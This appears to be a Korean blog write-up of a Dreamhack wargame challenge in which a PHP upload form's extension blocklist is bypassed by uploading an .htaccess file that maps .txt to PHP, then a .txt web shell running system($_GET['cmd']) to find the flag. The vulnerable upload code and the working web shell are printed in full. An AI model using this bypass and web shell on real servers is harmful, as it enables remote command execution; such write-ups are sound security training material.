728x90
[Dreamhack] Apache htaccess
코드를 보자.
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
.htaccess파일 설정기능은 .txt, .jpg 등의 파일을 php로 인식하도록 설정할 수 있다. 이 문제에서 .htaccess에 대해서 아무런 조치를 취하지 않기때문에 .txt파일을 php파일로 인식하도록 설정하여 업로드해보자.
우선 .htaccess파일을 만들어 업로드했다.
AddType application/x-httpd-php .txt
위는 .htaccess파일의 소스코드이다.
slow.txt파일을 만들었다.
<?php
system($_GET["cmd"])
?>
위는 slow.txt파일에 담긴 시스템 명령을 수행하도록 하는 코드이다.
이 안에 cmd를 수행하는 웹셸을 만들어 업로드했다.
cmd를 수행하여 flag파일을 찾았다.
실행만 가능한 파일로 있으니 실행시켜보면 flag값을 획득할 수 있다.
728x90
'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글
[Dreamhack] weblog-1 (0) | 2023.01.23 |
---|---|
[Dreamhack] Tomcat Manager (0) | 2023.01.22 |
[Dreamhack] File Vulnerability Advanced for linux (0) | 2023.01.11 |
[Dreamhack] Command Injection Advanced (0) | 2023.01.11 |
[Dreamhack] phpMyRedis (0) | 2023.01.11 |